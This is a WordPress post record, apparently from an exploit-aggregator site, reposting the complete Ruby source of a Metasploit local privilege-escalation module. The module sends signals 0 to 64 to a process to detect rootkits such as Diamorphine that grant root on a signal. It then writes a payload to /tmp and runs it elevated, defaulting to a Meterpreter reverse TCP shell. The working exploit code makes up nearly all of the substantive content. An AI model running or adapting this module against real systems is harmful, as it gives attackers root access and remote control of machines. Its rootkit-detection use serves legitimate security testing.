{"id":24263,"date":"2025-10-31T14:46:10","date_gmt":"2025-10-31T14:46:10","guid":{"rendered":"http:\/\/localhost\/?p=24263"},"modified":"2025-10-31T14:46:10","modified_gmt":"2025-10-31T14:46:10","slug":"rootkit-privilege-escalation-signal-hunter","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=24263","title":{"rendered":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-31T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module searches for rootkits which use signals to elevate           process privileges to UID 0 (root).     &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Rootkit Privilege Escalation Signal Hunter&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = GreatRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Linux::Priv\\n  include Msf::Post::Linux::System\\n  include Msf::Exploit::EXE\\n  include Msf::Exploit::FileDropper\\n  include Msf::Exploit::Deprecated\\n\\n  moved_from &#8216;exploit\/linux\/local\/diamorphine_rootkit_signal_priv_esc&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Rootkit Privilege Escalation Signal Hunter&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module searches for rootkits which use signals to elevate\\n          process privileges to UID 0 (root).\\n\\n          Some rootkits install signal handlers which listen for specific\\n          signals to elevate process privileges. This module identifies these\\n          rootkits by sending signals and observing UID switching to root.\\n\\n          This module has been tested successfully with:\\n\\n          Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04\\n          kernel 6.14.0-33-generic (x64);\\n          Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04\\n          kernel 5.19.0-38-generic (x64);\\n          Codeine 9644336 (2025-09-02) on Ubuntu 22.04\\n          kernel 5.19.0-38-generic (x64).\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e &#8216;bcoles&#8217;,\\n        # Diamorphine rootkit first publicly documented use of signals for process privesc?\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2013-11-07&#8217;, # Diamorphine first public commit\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/bcoles\/rootkit-signal-hunter&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/xcellerator.github.io\/posts\/linux_rootkits_03\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/m0nad\/Diamorphine&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/h3xduck\/Umbra&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/diego-tella\/Codeine&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/MatheuZSecurity\/Singularity&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Asekon\/RootKit&#8217;],\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [\\n          ARCH_X86,\\n          ARCH_X64,\\n          ARCH_ARMLE,\\n          ARCH_AARCH64,\\n          ARCH_RISCV64LE,\\n          ARCH_RISCV32LE,\\n          ARCH_PPC,\\n          ARCH_MIPSLE,\\n          ARCH_MIPSBE\\n        ],\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [[&#8216;Auto&#8217;, {}]],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION ],\\n          &#8216;Stability&#8217; =\\u003e [\\n            CRASH_OS_DOWN,    # Poorly designed rootkits may crash\\n          ],\\n          &#8216;SideEffects&#8217; =\\u003e [\\n            ARTIFACTS_ON_DISK,\\n            SCREEN_EFFECTS,   # Killing processes may spawn crash handler windows\\n          ]\\n        },\\n        &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217; },\\n        &#8216;DefaultTarget&#8217; =\\u003e 0\\n      )\\n    )\\n    register_options([\\n      OptInt.new(&#8216;MIN_SIGNAL&#8217;, [true, &#8216;Start at signal&#8217;, 0]),\\n      OptInt.new(&#8216;MAX_SIGNAL&#8217;, [true, &#8216;Stop at signal&#8217;, 64]),\\n      OptString.new(&#8216;PID&#8217;, [false, &#8216;Process ID to send signals to (leave blank to spawn a new process)&#8217;, &#8221;])\\n    ])\\n    register_advanced_options([\\n      OptString.new(&#8216;WritableDir&#8217;, [true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217;])\\n    ])\\n  end\\n\\n  def base_dir\\n    datastore[&#8216;WritableDir&#8217;].to_s\\n  end\\n\\n  def cmd_exec_elevated(signal, cmd, pid)\\n    vprint_status(\\&#8221;Executing &#8216;#{cmd}&#8217; with signal #{signal} (PID: #{pid}) &#8230;\\&#8221;)\\n\\n    # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)\\n    # due to using \\&#8221;$!\\&#8221; which is not supported\\n    res = cmd_exec(\\n      %(sh -c &#8216;kill -#{signal} #{pid}; #{cmd}&#8217; 2\\u003e\/dev\/null \\u0026 pid=$!; sleep 0.1; kill -CONT \\&#8221;$pid\\&#8221; 2\\u003e\/dev\/null; wait \\&#8221;$pid\\&#8221;),\\n      nil,\\n      5\\n    ).to_s\\n    vprint_line(res) unless res.blank?\\n\\n    res\\n  end\\n\\n  def check\\n    return CheckCode::Unknown(&#8216;Session already has root privileges&#8217;) if is_root?\\n\\n    # NOTE: this will fail on non-POSIX shells (ie, fish)\\n    # due to using \\&#8221;$$\\&#8221; which is not supported\\n    pid = datastore[&#8216;PID&#8217;].downcase.blank? ? &#8216;\\\\$$&#8217; : datastore[&#8216;PID&#8217;]\\n\\n    # Iterate from MIN to MAX sending each signal to PID.\\n    #\\n    # SIGCONT if the process hangs.\\n    # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)\\n    # due to using \\&#8221;$!\\&#8221; which is not supported\\n    cmd = [\\n      \\&#8221;i=#{datastore[&#8216;MIN_SIGNAL&#8217;]}\\&#8221;,\\n      %(while [ \\&#8221;$i\\&#8221; -le #{datastore[&#8216;MAX_SIGNAL&#8217;]} ]),\\n      %(do sh -c \\&#8221;kill -$i #{pid}; id\\&#8221; 2\\u003e\/dev\/null \\u0026 pid=$!),\\n      &#8216;sleep 0.1; kill -CONT \\&#8221;$pid\\&#8221; 2\\u003e\/dev\/null&#8217;,\\n      &#8216;wait \\&#8221;$pid\\&#8221;&#8216;,\\n      &#8216;i=$((i + 1))&#8217;,\\n      &#8216;done 2\\u003e\/dev\/null&#8217;\\n    ].join(&#8216;; &#8216;)\\n\\n    res = cmd_exec(\\n      cmd,\\n      nil,\\n      60\\n    )\\n    vprint_line(res) unless res.blank?\\n\\n    return CheckCode::Safe(&#8216;No rootkits detected&#8217;) unless res.to_s.include?(&#8216;uid=0&#8217;)\\n\\n    CheckCode::Vulnerable(&#8216;Rootkit(s) are installed and configured to elevate privileges for signals.&#8217;)\\n  end\\n\\n  # @return Array of signals which can be used to elevate privileges to root\\n  def brute_signals(min, max, pid)\\n    print_status(\\&#8221;Trying signals #{min} to #{max} (PID: #{pid}) &#8230;\\&#8221;)\\n    signals = []\\n\\n    (min..max).each do |signal|\\n      signals \\u003c\\u003c signal if cmd_exec_elevated(signal, &#8216;id&#8217;, pid).to_s.include?(&#8216;uid=0&#8217;)\\n    end\\n\\n    signals\\n  end\\n\\n  def exploit\\n    fail_with(Failure::BadConfig, &#8216;Session already has root privileges.&#8217;) if is_root?\\n    fail_with(Failure::BadConfig, \\&#8221;Start signal (#{datastore[&#8216;MIN_SIGNAL&#8217;]}) is greater than stop signal (#{datastore[&#8216;MAX_SIGNAL&#8217;]}); nothing to iterate.\\&#8221;) if datastore[&#8216;MIN_SIGNAL&#8217;] \\u003e datastore[&#8216;MAX_SIGNAL&#8217;]\\n    fail_with(Failure::BadConfig, \\&#8221;#{base_dir} is not writable\\&#8221;) unless writable?(base_dir)\\n\\n    pid = datastore[&#8216;PID&#8217;].downcase.blank? ? &#8216;$$&#8217; : datastore[&#8216;PID&#8217;]\\n    signals = brute_signals(\\n      datastore[&#8216;MIN_SIGNAL&#8217;],\\n      datastore[&#8216;MAX_SIGNAL&#8217;],\\n      pid\\n    )\\n\\n    fail_with(Failure::NotVulnerable, &#8216;No rootkits detected&#8217;) if signals.blank?\\n\\n    print_good(\\&#8221;Found #{signals.size} signals for privilege escalation (#{signals.join(&#8216;, &#8216;)}).\\&#8221;)\\n\\n    payload_name = \\&#8221;.#{rand_text_alphanumeric(8..12)}\\&#8221;\\n    payload_path = \\&#8221;#{base_dir}\/#{payload_name}\\&#8221;\\n    payload_data = generate_payload_exe\\n    print_status(\\&#8221;Writing &#8216;#{payload_path}&#8217; (#{payload_data.size} bytes) &#8230;\\&#8221;)\\n    write_file(payload_path, payload_data)\\n    chmod(payload_path, 0o755)\\n    register_file_for_cleanup(payload_path)\\n\\n    signals.each do |signal|\\n      print_status(\\&#8221;Trying signal #{signal} &#8230;\\&#8221;)\\n      cmd_exec_elevated(signal, \\&#8221;#{payload_path} \\u0026 echo \\&#8221;, pid)\\n      sleep(5)\\n      break if session_created?\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/local\/rootkit_privesc_signal_hunter.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/local\/rootkit_privesc_signal_hunter\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-31T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module searches for rootkits which use signals to elevate process privileges to UID 0 (root). &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Rootkit Privilege Escalation Signal Hunter&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-24263","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=24263\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-31T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module searches for rootkits which use signals to elevate process privileges to UID 0 (root). &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Rootkit Privilege Escalation Signal Hunter&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=24263\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-31T14:46:10+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-\",\"datePublished\":\"2025-10-31T14:46:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263\"},\"wordCount\":1148,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=24263#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263\",\"name\":\"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-31T14:46:10+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=24263\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=24263#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=24263","og_locale":"en_US","og_type":"article","og_title":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-31T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module searches for rootkits which use signals to elevate process privileges to UID 0 (root). &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-31T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Rootkit Privilege Escalation Signal Hunter&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit:...","og_url":"https:\/\/zero.redgem.net\/?p=24263","og_site_name":"zero redgem","article_published_time":"2025-10-31T14:46:10+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=24263#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=24263"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-","datePublished":"2025-10-31T14:46:10+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=24263"},"wordCount":1148,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=24263#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=24263","url":"https:\/\/zero.redgem.net\/?p=24263","name":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-31T14:46:10+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=24263#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=24263"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=24263#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Rootkit Privilege Escalation Signal Hunter_MSF:EXPLOIT-LINUX-LOCAL-ROOTKIT_PRIVESC_SIGNAL_HUNTER-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/24263","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24263"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/24263\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}